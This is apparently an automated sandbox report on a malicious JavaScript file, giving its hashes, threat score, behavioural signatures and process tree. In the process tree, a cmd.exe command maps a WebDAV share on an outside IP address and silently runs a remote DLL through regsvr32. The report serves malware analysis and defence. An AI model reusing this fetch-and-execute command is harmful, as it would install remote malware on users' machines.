Analysis

  • max time kernel
    146s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-07-2024 06:07

General

  • Target

    3023129134606723506.js

  • Size

    4KB

  • MD5

    933ea774ef7ab2e686a8cf12294ea93d

  • SHA1

    c13530b7438489a952a3a83ada9b52283c888ddc

  • SHA256

    457f8f1511152b9391cf7ed7b5031184fca8d8e3f4ddfa7997d2353bdcbe51c9

  • SHA512

    f6e27adee3592a39fde18767c06d9a60e2568e5834f578c4073e594bce0936b30882c1a7966c600453bd9a2123005872fd3a239e55fa7ed87cca1e65a5d8d918

  • SSDEEP

    96:A5Q9wqM96gP1mwhdQBBlAk+whdQBBlWGddxAp:Ay9wNz5dYAkvdYWA8

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3023129134606723506.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2400
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\279392309111643.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3140
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2640

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads